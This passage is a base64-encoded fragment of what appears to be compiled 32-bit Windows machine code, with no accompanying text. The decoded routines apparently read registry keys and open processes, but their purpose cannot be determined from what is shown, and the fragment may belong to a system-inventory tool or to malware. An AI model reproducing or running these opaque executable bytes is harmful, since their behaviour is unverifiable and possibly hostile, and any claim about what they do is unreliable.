iw200kEAjYQk0AAAAGj/AAAAUGoVUf/XjVQkCGoAjYQk1AAAAFJQVv8V6BFBAOmWAAAAjUwkSGgA QAAAjZQk1AEAAFFSxkQkVIj/FTwRQQCD+P8PhI4AAACLDbTSQQCLPYQRQQCNRCQIakBQahRR/9eh tNJBAI2UJNAAAABo/wAAAFJqF1D/142MJNAAAACNVCRQUVKNhCTcAgAAaDwxQQBQ/xX8EUEAg8QQ jUwkCI2UJNQCAABoNAEAAFFSVv8V6BFBAIP4B3UeaGAEAABW/xWQEUEAUP8V7BFBAF8zwF6BxMwE AADDX7gBAAAAXoHEzAQAAMOB7FQFAABTVTPbVjPAiojQdEEAiIwEWAIAAEA6y3XuM8CKiNB0QQCI jARcBAAAQDrLde6LDbTSQQCLLYQRQQBXjUQkXGj/AAAAUGo2Uf/VobTSQQCNlCRcAQAAaP8AAABS ajdQ/9WNfCRcg8n/M8DyrvfRSV87y34QgHwEWHx1BIhcBFhAO8F88IsNsNJBAIu0JGQFAACNhCRY AgAAjVQkWIlEJCi4BAEAAIlEJCyJRCQ0iUwkFIlUJBiNRCQMjYwkXAQAAI2UJFgBAABQx0QkEEwA AACJdCQUiVwkIIlcJCTHRCQoAQAAAIlMJDSJXCQ8iVQkQGaJXCRIZolcJErHRCRM0HRBAIlcJFDH RCREBAgAAOggYAAAhcB0G4tMJChRaGAEAABW/xX0EUEAXl1bgcRUBQAAw+j2XwAAPQEwAAB3YnRZ g/gLd2X/JIWIHEAAuB4AAADrargfAAAA62O4IAAAAOtcuCEAAADrVbgiAAAA6064IwAAAOtHuCQA AADrQLglAAAA6zm4JgAAAOsyuCcAAADrK7goAAAA6yS4KQAAAOsdLQIwAAB0EUh0B7gsAAAA6wy4 KwAAAOsFuCoAAACNlCRcAwAAaAABAAAl//8AAFJQobTSQQBQ/9VTjYwkYAMAAFNRVv8V6BFBAF5d W4HEVAUAAMN+HEAAEhxAAOgbQAAZHEAAIBxAAP0bQADhG0AA7xtAAPYbQAAEHEAACxxAACccQACQ kJCQkJCQkIPsfI1EJDxTi5wkhAAAAFdQU/8VzBFBAIsNsNJBAGpvUf8V0BFBAIv4hf8PhBkBAACN VCQsVlJqGFf/FUgQQQCLjCSQAAAAjUQkIFBRU/8VkBFBAFD/FdQRQQCLRCQki1QkIItMJCiLNdgR QQCJRCQcjUQkGIlUJBiLVCQsUFOJTCQYiVQkHP/WjUwkEFFT/9aLVCQUi0QkEItMJBxSi1QkHFBR jUQkLFJQ/xXcEUEAaAB/fwD/FUQQQQCL8IX2dBiLVCRIjUwkIFZRUv8V4BFBAFb/FUAQQQCLRCRI UP8VPBBBAIvwhfZ0TFWLLTgQQQBXVv/Vi0wkMItUJCyJRCQQi0QkKGggAMwAagBqACvIVlGLTCQ4 K9FSUItEJGhRUP8VNBBBAItMJBBRVv/VVv8VMBBBAF2NVCRIUlP/FeQRQQBX/xVAEEEAXl9bg8R8 w4tEJASB7AgDAABWUP8VxBFBAIvwgf5MBAAAD4zVAAAAgf5iBAAAD4/JAAAAixW00kEAU1VXjUwk EI1+ZGj/AAAAUVdS/xWEEUEAiy38EUEAhcB1EFeNRCQUaFAxQQBQ/9WDxAyLvCQgAwAAix2QEUEA jY7IAAAAUVf/04XAdAyNVCQQUlD/FcgRQQBobDBBAGhYMEEAaEwwQQCNhCQgAgAAaEQxQQBQ/9WN jCQkAQAAaAQBAACNVCQoUY2EJDACAABSUGgCAACA6FNUAACDxChWV//TX12FwFt0GoqMJAQBAACE yXQPjYwkBAEAAFFQ/xXIEUEAuAEAAABegcQIAwAAwggAkJCQkJCQkJCQkJCQodR0QQBWhcCL8XUf aHQxQQDoagAAAKHUdEEAhcB1DGhkMUEAi87oVQAAAKHkdEEAQKPkdEEAi8Zew5CQkJCQkKHkdEEA Vkgz9jvGo+R0QQB/KKHUdEEAO8Z0H1D/FUwRQQCJNdR0QQCJNdh0QQCJNdx0QQCJNeB0QQBew5CQ kJCLRCQEVlAz9v8VRBFBAIXAo9R0QQB0Qos1SBFBAGikMUEAUP/Wiw3UdEEAaJgxQQBRo9h0QQD/ 1osV1HRBAGiEMUEAUqPcdEEA/9aj4HRBALgBAAAAXsIEAIvGXsIEAJCh2HRBAIXAdQi4/wAAAMII AP/gkJCQkJCQkJCQkJCQkItEJBSFwHUFuLAxQQBWi3QkEFeLfCQYV1BW6HFlAACh4HRBAIPEDIXA dQVfXsIYAItMJCCLVCQQUYtMJBBXVlJR/9CFwHQHXzPAXsIYAGooVugKZQAAg8QIhcB0A8YAAF+4 AQAAAF7CGACQkJCQkJCLRCQUU1ZXhcCL2XUFuLAxQQCLdCQci3wkGFZQV+j+ZAAAi0wkIItUJByD xAyNRCQgx0QkIAAAAABqAFBRUovL6KsAAACFwHQji0QkIIXAdBtQaMAxQQBWV+jAZQAAg8QQuAEA AABfXlvCFABfXjPAW8IUAJCQkJCQkJCQkJCQkKHcdEEAgeyEAAAAhcB0VYuUJIwAAACNTCQEaIAA AABRi4wkkAAAAFJR/9CFwHU1jVQkBFLok3AAAI1EJASNTCQIUGjIMUEAUeiiZQAAi0wkEIPEEDPA hckPlcCBxIQAAADCCAAzwIHEhAAAAMIIAJCB7IAAAABWi7QkkAAAAIX2dQwzwF6BxIAAAADCEACL hCSUAAAAiQah3HRBAIXAdQpegcSAAAAAwhAAi5QkjAAAAI1MJARogAAAAFGLjCSQAAAAUlH/0IXA dAwzwF6BxIAAAADCEACNVCQEUujsbwAAVo1EJAxoyDFBAFDo/2QAAIPEELgBAAAAXoHEgAAAAMIQ AJCQkJCQkJCQkJCQkJCQgewYAgAAjUQkAFWLLRwQQQBWUDP2aBkAAgBWaOQxQQBoBgAAgP/VhcB0 C14zwF2BxBgCAADDi1QkCFOLHRgQQQBXjYwkJAEAAGgEAQAAUVZSiXQkJP/ThcAPhe4AAACLVCQQ uUEAAAAzwI18JCDzq41EJBiNjCQkAQAAUGgZAAIAagBRUsdEJDAEAQAA/9WFwHU6i1QkGI1EJByN TCQgUFFqAGoAaNgxQQBS/xUQEEEAhcB1DY1EJCBQ6OFkAACDxASLTCQYUf8VIBBBAIuUJCwCAACN RCQgUlDoQWQAAIPECIXAdCSLjCQwAgAAjVQkIFFS6ChkAACDxAiFwHUri4QkOAIAAIXAdSCLTCQQ jYQkJAEAAEZoBAEAAFBWUf/ThcAPhDf////rI4uEJDQCAACNVCQgUmjQMUEAUP8V/BFBAIPEDMdE JBQBAAAAi0wkEFH/FSAQQQCLRCQUX1teXYHEGAIAAMOQkJCQkJCQkJCLTCQEgewMAQAAjUQkAFBo GQACAGoAUWgCAACA/xUcEEEAhcB0CTPAgcQMAQAAw4tMJACNVCQEVo1EJAwz9lJQVlZoIDJBAFHH RCQgBAEAAP8VEBBBAIXAdSWLhCQYAQAAjVQkDFJo+DFBAGjgMEEAUP8V/BFBAIPEEL4BAAAAi0wk BFH/FSAQQQCLxl6BxAwBAADDkJCQkJCQkJCQkJCQi0wkBIHsHAQAAI1EJARViy0cEEEAUGgZAAIA agBRaAIAAID/1YXAdAozwF2BxBwEAADDi0wkCFNWizUQEEEAjVQkDFeNhCQoAwAAUlBqAGoAvwQB AABoRDJBAFHGRCQ0AMaEJDwCAAAAxoQkOAEAAACJfCQo/9aFwHQIxoQkKAMAAACLTCQUjVQkEI1E JBxSUGoAagBoNDJBAFGJfCQo/9aFwHQFxkQkHACLTCQUjVQkEI2EJCABAABSUGoAagBoMDJBAFGJ fCQo/9aFwHQIxoQkIAEAAACLRCQUjVQkGFJoGQACAGoAaCgyQQBQ/9WLLSAQQQCFwHU0i0QkGI1M JBCNlCQkAgAAUVJqAGoAaDQyQQBQiXwkKP/WhcB0CMaEJCQCAAAAi0wkGFH/1YtUJBRS/9WLnCQ4 BAAAiz0QEUEAjYQkKAMAAFBT/9eLLTgRQQCNTCQcUf/VhcB+EYu0JDQEAACNVCQcUlb/1+tHjYQk JAIAAFD/1YXAfhSLtCQ0BAAAjYwkJAIAAFFW/9frJY2UJCABAABS/9WLtCQ0BAAAhcB+DY2EJCAB AABQVv/X6wPGBgBW/9WFwH8UU//VhcB/DV9eWzPAXYHEHAQAAMNfXlu4AQAAAF2BxBwEAADDgewY AwAAjUQkBFBoGQACAGoAaFAyQQBoAgAAgP8VHBBBAIXAdAkzwIHEGAMAAMNTix0YEEEAVVYz7Ve/ AQAAAIlsJBCLVCQQi0QkFI1MJBxoBAEAAFFSUP/ThcAPhewAAACNTCQcUehEYQAAi5QkMAMAAI1E JCBSUOiyYAAAg8QMhcAPhLQAAACLRCQUjUwkGFFoGQACAI1UJCRqAFJQ/xUcEEEAhcAPhZAAAAAz 9oX/dH+LVCQYjYwkJAIAAGgEAQAAUVZS/9OFwHVmjYQkJAIAAI1MJBxQUWhQMkEAjZQkLAEAAGhE MUEAUv8V/BFBAI2EJDQBAABQ6LJgAACNjCQ4AQAAUehlAAAAg8QchcB1A0brnouEJDADAACNlCQg AQAAUlD/FRARQQAz/70BAAAAi0wkGFH/FSAQQQCLTCQQQYX/iUwkEA+F9v7//4tUJBRS/xUgEEEA X4vFXl1bgcQYAwAAw5CQkJCQkJCQkJCB7AwBAACNRCQAV4u8JBQBAABQaBkAAgBqAFdoAgAAgP8V HBBBAIXAdAozwF+BxAwBAADDi0QkBI1MJAhWjVQkEDP2UVJWVmh0MkEAUMdEJCQEAQAA/xUQEEEA hcB1F41MJBBRV+gmAAAAg8QIhcB0Bb4BAAAAi1QkCFL/FSAQQQCLxl5fgcQMAQAAw5CQkJCLRCQI gew8AgAAjYwkOAEAAFOLHfwRQQBWUGiUMkEAaIgyQQBR/9ODxBCNVCQIM/aNhCRAAQAAUmgZAAIA VlBoAgAAgP8VHBBBAIXAdAteM8BbgcQ8AgAAw4tEJAiNTCQUV4s9EBBBAI1UJBBRUlZWaIAyQQBQ iXQkLMdEJDAEAAAA/9eFwHVyOXQkEH5sVo1MJCRofDJBAFH/04PEDI1UJByNRCRAjUwkIFKLVCQQ UGoAagBRUsdEJDQEAQAA/9eFwHUjjUQkQFDo4l4AAIuUJFACAACNTCREUVLoUF4AAIPEDIXAdQuL RCQQRjvwfJ7rCMdEJBQBAAAAi0QkDFD/FSAQQQCLRCQUX15bgcQ8AgAAw5CQkJCQkJCQkJCQkJCB 7AwBAACLjCQQAQAAjUQkAFYz9lBoGQACAFZRaAIAAIDHRCQcBAEAAP8VHBBBAIXAdAozwF6BxAwB AADDi0wkBI1UJAiNRCQMUlBqAGoAaCAyQQBR/xUQEEEAhcB1JYuEJBgBAACNVCQMUmi4MkEAaOAw QQBQ/xX8EUEAg8QQvgEAAACLTCQEUf8VIBBBAIvGXoHEDAEAAMOQkJCQkJCQi0wkBIHsFAIAAI1E JARVVos1HBBBAFdQaBkAAgBqAFFoAgAAgP/WhcAPhY8AAACLTCQQiz0QEEEAjVQkDI2EJBwBAABS UGoAagC9BAEAAGhEMkEAUYlsJCT/14XAdAjGhCQcAQAAAItEJBCNVCQUUmgZAAIAagBo4DJBAFD/ 1os1IBBBAIXAdS6LRCQUjUwkDI1UJBhRUmoAagBoNDJBAFCJbCQk/9eFwHQFxkQkGACLTCQUUf/W i1QkEFL/1ou0JCgCAACLPRARQQCNRCQYUFb/14usJCwCAACNjCQcAQAAUVX/11aLNTgRQQD/1oXA fxNV/9aFwH8MX14zwF2BxBQCAADDX164AQAAAF2BxBQCAADDkJCQkJCQkJCQkJCQi0QkBItMJAyB 7JgCAACNVCQAxgAAi4QkrAIAAFJoGQACAGoAUGgCAACAxgEA/xUcEEEAhcAPhW0BAACNTCQEjZQk DAEAAFFSUFCLRCQQaAwzQQBQx0QkHAQBAAD/FRAQQQCFwA+F6AAAAFNWizWQEEEAV41MJBRoBAEA AFH/1os9lBBBAI1UJBRoBAEAAI1EJBhSUP/XhcB1DI1MJBRoBAEAAFH/1osdKBFBAI1UJBRoADNB AFL/042EJBgBAACNTCQUUFH/042UJBwCAABoAEAAAI1EJBhSUMaEJCgCAACI/xU8EUEAg/j/dUiN TCQUaAQBAABR/9aNVCQUaAQBAACNRCQYUlD/14XAdQyNTCQUaAQBAABR/9aNVCQUaPgyQQBS/9ON hCQYAQAAjUwkFFBR/9OLlCSsAgAAi4wkqAIAAI1EJBRSUFH/FaAQQQBfXluLTCQAjVQkBI2EJAwB AABSUGoAagBo7DJBAFHHRCQcBAEAAP8VEBBBAIXAdR6LlCSoAgAAi4wkpAIAAI2EJAwBAABSUFH/ FaAQQQCLVCQAUv8VIBBBAIHEmAIAAMOQgewIAgAAi4QkDAIAAFNWV4s9oBBBAGgEAQAAjUwkEFBR /9eNVCQMaixSxoQkGAEAAADoOVwAAIvwg8QIhfZ0b41EJAzGBgBQ6OMEAACNTCQQUeiZBAAAjVQk FFLo6FsAAIPEDIvYRo2EJBABAABoBAEAAFZQ/9eNjCQQAQAAaixR6OpbAACDxAiFwHQDxgAAjZQk EAEAAFLokwQAAI2EJBQBAABQ6EYEAACDxAjrI41MJAxR6HcEAACNVCQQUugtBAAAjUQkFFDofFsA AIPEDIvYjUP2g/gUD4epAAAAix0oEUEAM8mKiFAuQAD/JI08LkAAi5QkIAIAAIu0JBwCAABSVv8V kBBBAIA+AHQeioQkEAEAAITAdBNoIDNBAFb/042MJBABAABRVv/TX15bgcQIAgAAw4uEJCACAACL tCQcAgAAUFb/FUARQQDru4uMJCACAACLtCQcAgAAUVb/FZAQQQBoGDNBAFb/0+ubi5QkIAIAAIu0 JBwCAABSaBQzQQBW/9frgouEJBwCAABfXlvGAACBxAgCAADDkJMtQADWLUAA7i1AAA4uQAAnLkAA AAEEBAQEBAIEBAQEBAQEBAQEBAQDkJCQkJCQkJCQkJCB7AQBAACLjCQMAQAAjUQkAFaLtCQMAQAA V4s9jBBBAFZoBAEAAFBo0HRBAFFoNDNBAP/XikQkCITAdCaLlCQcAQAAi4QkGAEAAFKNTCQMUFHo 2v3//4PEDF9egcQEAQAAw1aNVCQMaAQBAABSaNB0QQBoJDNBAGg0M0EA/9eKRCQIi4wkGAEAAITA i4QkHAEAAFBRdBaNVCQQUuiQ/f//g8QMX16BxAQBAADD/xWQEEEAX16BxAQBAADDkJCQkJCB7BAD AACNhCQMAgAAU1VWi7QkJAMAAFeLvCQkAwAAaAQBAABQVlfoFP///4PEEFdoIE4AAGjodEEAVv8V UBBBAKDodEEAu+h0QQCEwA+EBAEAAIstoBBBAIE9qNJBAOgDAAAPje4AAACL+4PJ/zPAaAQBAADy rvfRSVOJTCQYjUwkHFH/1Y1UJBRS6BACAACNRCQYUOjGAQAAjUwkHGo7Ueg6WQAAg8QQhcB0A8YA AI1UJBRqLFLoJFkAAIPECIXAdAPGAACNRCQUUOjQAQAAjUwkGFHohgEAAIpEJByDxAiEwHRhjVQk FI2EJBwCAABSUI2MJCABAABo4DBBAFH/FfwRQQCNvCQoAQAAg8n/M8DyrvfRSY15AVfofVkAAIvw g8QUhfZ0Ho2UJBgBAABXUlb/1aGo0kEAiTSFCMNBAECjqNJBAItEJBCNXAMBgDsAD4UC////X15d W4HEEAMAAMOQkJCQkJCQkJCQkJCQkIHsBAUAAIuMJAwFAACNhCQEAQAAVou0JAwFAABXVmgABAAA UGjQdEEAaEgzQQBR/xWMEEEAuegDAAAzwL8Iw0EAjZQkDAEAAGhEM0EAUvOr6OVYAACDxAiFwHRF iz2gEEEAaAQBAABQjUQkEFD/141MJAhR6LcAAACNVCQMUuhtAAAAjUQkEFBW6AL+//9oRDNBAGoA 6KBYAACDxBiFwHXBX16BxAQFAADDkJCQkJCQoajSQQBWM/aFwH4eiwS1CMNBAIXAdAlQ6AlZAACD xAShqNJBAEY78HzixwWo0kEAAAAAAF7DkJCQkJCQkJCQkFaLdCQIV4v+g8n/M8DyrvfRSWh0MEEA Vov56CFcAACDxAiFwH4QK/gDxkdXUFbozVgAAIPEDIvGX17DkJCQkJCLVCQEV4v6g8n/M8DyrvfR SV9JeA2APBEgdQfGBBEASXnzi8LDkJCQkJCQkJCQkJCLwccAAAAAAMdABAAAAADD6QsAAACQkJCQ kJCQkJCQkFaL8YsGUOhLWAAAg8QExwYAAAAAx0YEAAAAAF7DkJCQg+wIjUQkDFOLXCQQVldQU4v5 6GVJAACL8IX2dQlfXluDxAjCBABW6GBXAACLTCQcg8QEiQdQVlFT6DhJAACFwHUSi8/ol////19e M8Bbg8QIwgQAiw+NVCQQjUQkDFJQaFQzQQBR6AVJAACFwHUSi8/oav///19eM8Bbg8QIwgQAi0Qk DDPSM8lmixBmi0gCweIQC9G4AQAAAIlXBF9eW4PECMIEAJCQkJCQkJCQkJCB7AgEAABWi/GDPgB1 FIuEJBAEAABexgAAgcQIBAAAwhAAi4QkHAQAAIXAdQOLRgSLjCQYBAAAjVQkDFFQaHAzQQBS/xX8 EUEAg8QQjUQkCI1MJASNVCQMUIsGUVJQ6F1IAACLtCQQBAAAhcB0FIuMJBQEAACLVCQEUVJW/xWg EEEAi8ZegcQIBAAAwhAAkJBq/2goA0EAZKEAAAAAUGSJJQAAAACD7AhTVo1MJAjofev//4tcJCDH RCQYAAAAADP2O/N0HY1EJAxqAFBo8DNBAFaNTCQY6LXt//+DfCQMAnQrRoP+EHzZjUwkCMdEJBj/ ////6Hfr//9eg8j/W4tMJAhkiQ0AAAAAg8QUw41MJAjHRCQY/////+hS6///i0wkEIvGXltkiQ0A AAAAg8QUw5CQkJCQkJCQkJCQkJCQkIHsbAQAAFNVVleLvCSABAAAuwEAAABoYAQAAFNobAQAAFf/ FYgRQQBQ/xUAEkEAi/Az7Tv1dQ1fXl0zwFuBxGwEAADDjYQkXAEAAIlsJBhQiWwkGMeEJGABAACU AAAA/xVUEEEAhcB0NIuEJGwBAACLjCRgAQAAg/gCdQuD+QR3BolcJBjrCYP4AolsJBh1CYP5BYlc JBRzBIlsJBSNjCR4AwAAaAQBAABRaGAEAABW/xX4EUEAjZQk8AEAAGgBEAAAjYQkfAMAAFJQ/xU8 EUEAi/CD/v91a4sVtNJBAIs1hBFBAI2MJBwBAABqQFFqFFL/1osNtNJBAI2EJHgCAABo/wAAAFBq FlH/1o2UJBwBAABVjYQkfAIAAFJQV/8V6BFBAGhgBAAAV/8VkBFBAFD/FewRQQBfXl0zwFuBxGwE AADDVlfohgIAAIsVsNJBAIsdhBFBAIPECI1MJBxoAAEAAFFqBVL/041EJBBVUI18JCSDyf8zwPKu 99GLLXAQQQBJUY1MJChRVv/Vi5QkgAQAAFZS6GcDAACLDbDSQQCDxAiNRCQcaAABAABQagRR/9ON fCQcg8n/M8CNVCQQ8q730WoASVKNRCQkUVBW/9WLjCSABAAAVlHoUwQAAKGw0kEAg8QIjVQkHGgA AQAAUmoNUP/TjUwkEGoAUY18JCSDyf8zwPKu99FJjVQkJFFSVv/Vi4QkgAQAAFZQ6NAuAACLFbDS QQCDxAiNTCQcaAABAABRaglS/9ONRCQQagBQjXwkJIPJ/zPA8q730UlRjUwkKFFW/9WLlCSABAAA VlLo/AQAAIsNsNJBAIPECI1EJBxoAAEAAFBqBlH/0418JByDyf8zwI1UJBDyrvfRagBJUo1EJCRR UFb/1VboIAcAAIsVsNJBAIPEBI1MJBxoAAEAAFFqClL/041EJBBqAFCNfCQkg8n/M8DyrvfRSVGN TCQoUVb/1YuUJIAEAABWUujcCAAAi0QkIIPECIXAD4WAAAAAiw2w0kEAjUQkHGgAAQAAUGoLUf/T jXwkHIPJ/zPAjVQkEPKu99FqAElSjUQkJFFQVv/VVug0JAAAi0QkGIPEBIXAdTyLFbDSQQCNTCQc aAABAABRagxS/9ONRCQQagBQjXwkJIPJ/zPA8q730UlRjUwkKFFW/9VW6DAtAACDxAShsNJBAI1U JBxoAAEAAFJqCFD/041MJBBqAFGNfCQkg8n/M8DyrvfRSY1UJCRRUlb/1VbohS4AAIPEBFb/FWwQ QQBfXl24AQAAAFuBxGwEAADDkJCQkJCQkJCQkJCLDbDSQQCB7DQEAACNRCQoU4sdhBFBAFZXaAQB AABQajlR/9OFwA+E+QAAAGgUNEEAaFgwQQBoTDBBAI2UJEQBAABoRDFBAFL/FfwRQQCNhCRQAwAA aAQBAACNTCRMUI2UJFQBAABRUmgCAACA6L46AACDxCi/EDRBAI20JDwDAAC5AgAAADPA86YPhZUA AACLvCRIBAAAuMgAAACJRCQMx0QkEMkAAADHRCQUygAAAMdEJBjLAAAAx0QkHMwAAADHRCQgzQAA AMdEJCTOAAAAx0QkKM8AAADHRCQs0AAAAMdEJDD/////jXQkDIsVtNJBAI2MJDwCAABoAAEAAFFQ Uv/ThcB0E42EJDwCAABqAFBX6HkuAACDxAyLRgSDxgSD+P91x19eW4HENAQAAMOQgeykAgAAjYQk lAAAAFOLHfwRQQBVVldoSDRBAGgoNEEAUP/Tg8QMjUwkEI28JKQAAAAzwGoAUYPJ/4u0JMQCAADy rostcBBBAI2UJKwAAAD30UlRUlb/1Y1EJBRQ/xVgEEEAjUwkJGpAUY1UJBxqAFJqAGoA/xVcEEEA jUQkZGpAUI1MJBxqAFFqAGoA/xVYEEEAjVQkZI1EJCRSUI2MJCwBAABoHDRBAFH/0428JDQBAACD yf8zwIPEEPKu99GNVCQQagBJUo2EJCwBAABRUFb/1YuMJLgCAABoYAQAAGoBaGwEAABR/xWIEUEA UP8VABJBAIXAdCyNlCSwAQAAaAQBAABSaGAEAABQ/xX4EUEAjYQksAEAAGoAUFboPy0AAIPEDF9e XVuBxKQCAADDkIHseAIAAFOLnCSEAgAAVYst+BFBAFa+TgQAAFeJdCQQx0QkFEwEAADHRCQYTQQA AMdEJBxPBAAAx0QkIFAEAADHRCQkUQQAAMdEJChUBAAAx0QkLFIEAADHRCQwUwQAAMdEJDRVBAAA x0QkOFYEAADHRCQ8WAQAAMdEJEBZBAAAx0QkRP////+NfCQQixW00kEAjUQkSGpAjU5kUFFS/xWE EUEAi4QkjAIAAFZqAWhsBAAAUP8ViBFBAFD/FQASQQCFwHRTjYwkiAAAAGj/AAAAUVZQ/9WNlCSI AAAAjUQkSFJQjYwkkAEAAGhQNEEAUf8V/BFBAI2UJJgBAABqAFJT6CosAACLdwSDxwSDxByD/v8P hXT///9fXl1bgcR4AgAAw5CQkJCQkJCQkJCQkJBq/2hLA0EAZKEAAAAAUGSJJQAAAACB7FwDAABT ix38EUEAVVa+WgQAAFeLvCSAAwAAiXQkFMdEJBhcBAAAx0QkHF0EAADHRCQgXwQAAMdEJCT///// jWwkFIsVtNJBAI1EJChqQI1OZFBRUv8VhBFBAIuEJHwDAABWagFobAQAAFD/FYgRQQBQ/xUAEkEA hcB0TY2MJGgBAABo/wAAAFFWUP8V+BFBAI2UJGgBAACNRCQoUlCNTCRwaFA0QQBR/9ONVCR4agBS V+gzKwAAi3UEg8UEg8Qcg/7/D4V6////jUwkEOio4v//agBqAI2EJHABAABo/wAAAFBo7DRBAGoA jUwkKMeEJIwDAAAAAAAA6Hzj//+LNaAQQQBqQI1MJCxo2DRBAFH/1o2UJGgBAACNRCQoUlCNTCRw aFA0QQBR/9ONVCR4agBSV+iyKgAAg8QcjYQkaAEAAI1MJBBqAGoAaP8AAABQaLw0QQBqAOge4/// akCNTCQsaKg0QQBR/9aNlCRoAQAAjUQkKFJQjUwkcGhQNEEAUf/TjVQkeGoAUlfoWioAAIPEHI2E JGgBAACNTCQQagBqAGj/AAAAUGiQNEEAagDoxuL//2pAjUwkLGh8NEEAUf/WjZQkaAEAAI1EJChS UGhQNEEAjUwkdFH/041UJHhqAFJX6AIqAABocDRBAGhkNEEAjYQkjAIAAGhcNEEAUP/TjYwklAIA AGgCAACAUVfoxioAAIPEOI1MJBDHhCR0AwAA/////+iP4f//i4wkbAMAAF9eXVtkiQ0AAAAAgcRo AwAAw5CQkJCQkGr/aGsDQQBkoQAAAABQZIklAAAAAIHsmAIAAI1EJATHRCQElAAAAFD/FVQQQQCL RCQUg+gAD4TIAAAASHRSSGpAdBaLFbDSQQCNjCScAAAAUWo1Uum9AAAAg3wkDAV1GI2EJJwAAABo jDVBAFD/FaAQQQDppAAAAI2MJJwAAABogDVBAFH/FaAQQQDpjAAAAIN8JAgEdVWLRCQMg/hadRdq QI2UJJwAAABobDVBAFL/FaAQQQDrZYP4CnUXakCNhCScAAAAaGA1QQBQ/xWgEEEA60lzF2pAjYwk nAAAAGhUNUEAUf8VoBBBAOswakCNlCScAAAAaEg1QQBS/xWgEEEA6xmLDbDSQQCNhCSYAAAAakBQ ajJR/xWEEUEAi0QkEItMJAxWjVQkHIs1/BFBAFcl//8AAFKLVCQUUFGNhCSsAAAAUlCNjCS0AQAA aDA1QQBR/9aLvCTMAgAAjZQkvAEAAGoAUlfoNSgAAIPEKI1MJAjoud///2oAagCNhCSoAAAAaP8A AABQaBg1QQBqAI1MJCDHhCTAAgAAAAAAAOiN4P//jYwkoAAAAI2UJKABAABRaAg1QQBoUDRBAFL/ 1o2EJLABAABqAFBX6NEnAACDxByNTCQIx4QkqAIAAP/////oit///4uMJKACAABfXmSJDQAAAACB xKQCAADDkJCQgexMAgAAU4ucJFgCAABViy34EUEAVr5hBAAAV4l0JBDHRCQUYgQAAMdEJBj///// jXwkEIsVtNJBAI1EJBxqQI1OZFBRUv8VhBFBAIuEJGACAABWagFobAQAAFD/FYgRQQBQ/xUAEkEA hcB0TY1MJFxo/wAAAFFWUP/VjVQkXI1EJBxSUI2MJGQBAABoUDRBAFH/FfwRQQCNlCRsAQAAagBS U+j4JgAAi3cEg8cEg8Qcg/7/D4V6////U+gQAAAAg8QEX15dW4HETAIAAMOQkGr/aIgDQQBkoQAA AABQZIklAAAAAIPsCFZXjUwkCOg93v//i3wkIGoAaKw1QQBXx0QkJAAAAADolCYAAIPEDDP2aJw1 QQBWjUwkEOgA4P//hcB0N41EJAxqAFBojDNBAFaNTCQY6Fbg//+BfCQMAhABIHQXV1boRQAAAGoA aKw1QQBX6EgmAACDxBRGg/4JfLCNTCQIx0QkGP/////o/t3//4tMJBBfXmSJDQAAAACDxBTDkJCQ kJCQkJCQkJCQkGr/aKsDQQBkoQAAAABQZIklAAAAAIHsHAIAAFNVVjPtV41MJBCJrCQoAQAA6G/d //+LvCQ8AgAAjYQkKAEAAFVQaPAzQQBXjUwkIImsJEQCAADoqd///4u0JCgBAABVVY1MJDBoAAEA ADPbUYP+AWiwR0EAV41MJCgPlMPoH97//zvdjVQkKHQvUo2EJDABAABoqEdBAFD/FfwRQQCLtCRM AgAAjYwkOAEAAFVRVuhdJQAAg8QY6xKLtCRAAgAAVVJW6EklAACDxAxVaKw1QQBW6DolAABVaGBH QQBW6C4lAABVaKw1QQBW6CIlAABVaFRHQQBW6BYlAACDxDCNRCQojUwkEFVVaAABAABQaLBHQQBX 6Ijd//+NTCQoO91RdCuNlCQwAQAAaKhHQQBS/xX8EUEAjYQkOAEAAFBoTEdBAFboaRgAAIPEGOsO aExHQQBW6FkYAACDxAxVVY1UJDBoAAEAAFJoPEdBAFeNTCQo6Cvd//+NRCQoUGgwR0EAVugrGAAA g8QMjUwkKFVVaAABAABRaCBHQQBXjUwkKOj93P//jVQkKFJoFEdBAFbo/RcAAIPEDI1EJCiNTCQQ VWgAAQAAUGgER0EAV+hA3f//jUwkKFFo8EZBAFbo0BcAAIPEDI1UJCiNTCQQVVVoAAEAAFJo2EZB AFfootz//41EJChQaMBGQQBW6KIXAACDxAyNTCQoVVVoAAEAAFForEZBAFeNTCQo6HTc//+NVCQo UmicRkEAVuh0FwAAg8QMjUQkKI1MJBBVaAABAABQaIRGQQBX6Lfc//+NTCQoUWhwRkEAVuhHFwAA g8QMjVQkKI1MJBBVaAABAABSaFBGQQBX6Irc//+NRCQoUGg0RkEAVugaFwAAg8QMjUwkKFVVaAAB AABRaCBGQQBXjUwkKOjs2///jVQkKFJoEEZBAFbo7BYAAIPEDI1EJCiNTCQQVVVoAAEAAFBo/EVB AFfovtv//41MJChRaOxFQQBW6L4WAACDxAyNVCQojUwkEFVVaAABAABSaNRFQQBX6JDb//+NRCQo UGjERUEAVuiQFgAAg8QMjUwkKFVVaAABAABRaKxFQQBXjUwkKOhi2///jVQkKFJonEVBAFboYhYA AIPEDFVVjUQkMGgAAQAAUGiARUEAV41MJCjoNNv//41MJChRaGxFQQBW6DQWAACDxAyNVCQojUwk EFVVaAABAABSaGBFQQBX6Abb//+NRCQoUGhMRUEAVugGFgAAg8QMjUwkKFVVaAABAABRaDhFQQBX jUwkKOjY2v//jVQkKFJoKEVBAFbo2BUAAIPEDIvvhdt0EFfoGe7//4PEBIP4/3QCi+hqAGoAjUQk MGgAAQAAUGgMRUEAVY1MJCjoktr//4XAdRtQUI1MJDBoAAEAAFFo+ERBAFWNTCQo6HPa//+NVCQo UmjoREEAVuhzFQAAagBorDVBAFboxiEAAIPEGI1EJCiNTCQQagBqAGgAAQAAUGjYM0EAV+g22v// hcAPhE0BAABqAGjUREEAVuiRIQAAjUwkNFFoyERBAFboIRUAAIPEGI1UJCiNTCQQagBqAGgAAQAA UmiwREEAV+jx2f//jUQkKFBopERBAFbo8RQAAIPEDI1MJChqAGoAaAABAABRaMAzQQBXjUwkKOjB 2f//jVQkKFJomERBAFbowRQAAIPEDI1EJCiNTCQQagBqAGgAAQAAUGikM0EAV+iR2f//jUwkKFFo iERBAFbokRQAAIPEDI1UJCiNTCQQagBqAGgAAQAAUmh0REEAV+hh2f//jUQkKFBoZERBAFboYRQA AIPEDI1MJChqAGoAaAABAABRaIwzQQBXjUwkKOgx2f//jVQkKFJoVERBAFboMRQAAIPEDI1EJCiN TCQQagBqAGgAAQAAUGhAREEAV+gB2f//jUwkKFFoKERBAFboARQAAGoAaKw1QQBW6FQgAACDxBhq AGgcREEAVuhEIAAAg8QMjVQkKI1MJBBqAGoAaAABAABSaBBEQQBX6LTY//+NRCQoUGhMR0EAVui0 